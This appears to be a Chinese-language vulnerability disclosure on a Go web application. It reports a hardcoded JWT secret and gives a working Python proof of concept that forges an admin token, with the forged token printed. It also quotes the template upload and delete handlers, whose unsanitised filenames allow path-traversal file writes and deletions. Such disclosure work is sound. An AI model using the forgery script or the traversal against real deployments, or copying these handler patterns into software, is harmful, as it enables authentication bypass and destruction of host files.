# 漏洞 1: jwt-secret 硬编码
middlewares/jwt.go 文件中
// line 12 | |
var Secret = []byte("sublink") // 秘钥 |
此处将 jwt 密钥硬编码至代码文件中,使任意攻击者可利用此密钥构造出恶意 token 实现鉴权绕过
POC:
import jwt | |
import time | |
secret = "sublink" | |
def generate_jwt(username): | |
payload = { | |
'username': username, | |
'ExpiresAt': time.time() + 3600, # Token expires in 1 hour | |
'IssuedAt': time.time(), # Current time as issued at | |
'Subject': username | |
} | |
token = jwt.encode(payload, secret, algorithm='HS256') | |
return token | |
print(generate_jwt("admin")) | |
// eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiRXhwaXJlc0F0IjoxNzQ4MzYxNjQzLjkyMzIwODcsIklzc3VlZEF0IjoxNzQ4MzU4MDQzLjkyMzIwODcsIlN1YmplY3QiOiJhZG1pbiJ9.SiTs7M0QO8y-zrGwnnLpkhY6bxBH8DXKTK_wLpWpldg |
利用效果:
# 漏洞 2:任意文件写入
api/template.go AddTemp 方法
func AddTemp(c *gin.Context) { | |
filename := c.PostForm("filename") | |
text := c.PostForm("text") | |
if filename == "" || text == "" { | |
c.JSON(400, gin.H{ | |
"msg": "文件名或者类型或内容不能为空", | |
}) | |
return | |
} | |
// 检查文件是否存在 | |
_, err := os.ReadFile("./template/" + filename) | |
if err == nil { | |
log.Println(err) | |
c.JSON(400, gin.H{ | |
"msg": "文件已存在", | |
}) | |
return | |
} | |
// 检查目录是否创建 | |
_, err = os.Stat("./template/") | |
if err != nil { | |
if os.IsNotExist(err) { | |
os.Mkdir("./template/", os.ModePerm) | |
} | |
} | |
err = os.WriteFile("./template/"+filename, []byte(text), 0666) | |
if err != nil { | |
log.Println(err) | |
c.JSON(400, gin.H{ | |
"msg": "上传失败", | |
}) | |
return | |
} | |
c.JSON(200, gin.H{ | |
"code": "00000", | |
"msg": "上传成功", | |
}) | |
} |
可以发现允许上传任意文件 + 可以路径穿越
构造请求包(本地测试)
成功上传
# 漏洞 3:任意文件删除
与上面相似:
func DelTemp(c *gin.Context) { | |
filename := c.PostForm("filename") | |
_, err := os.ReadFile("./template/" + filename) | |
if err != nil { | |
log.Println(err) | |
c.JSON(400, gin.H{ | |
"msg": "文件不存在", | |
}) | |
return | |
} | |
err = os.Remove("./template/" + filename) | |
if err != nil { | |
log.Println(err) | |
c.JSON(400, gin.H{ | |
"msg": "删除失败", | |
}) | |
return | |
} | |
c.JSON(200, gin.H{ | |
"code": "00000", | |
"msg": "删除成功", | |
}) | |
} |
使用路径穿越可以删除主机上任意文件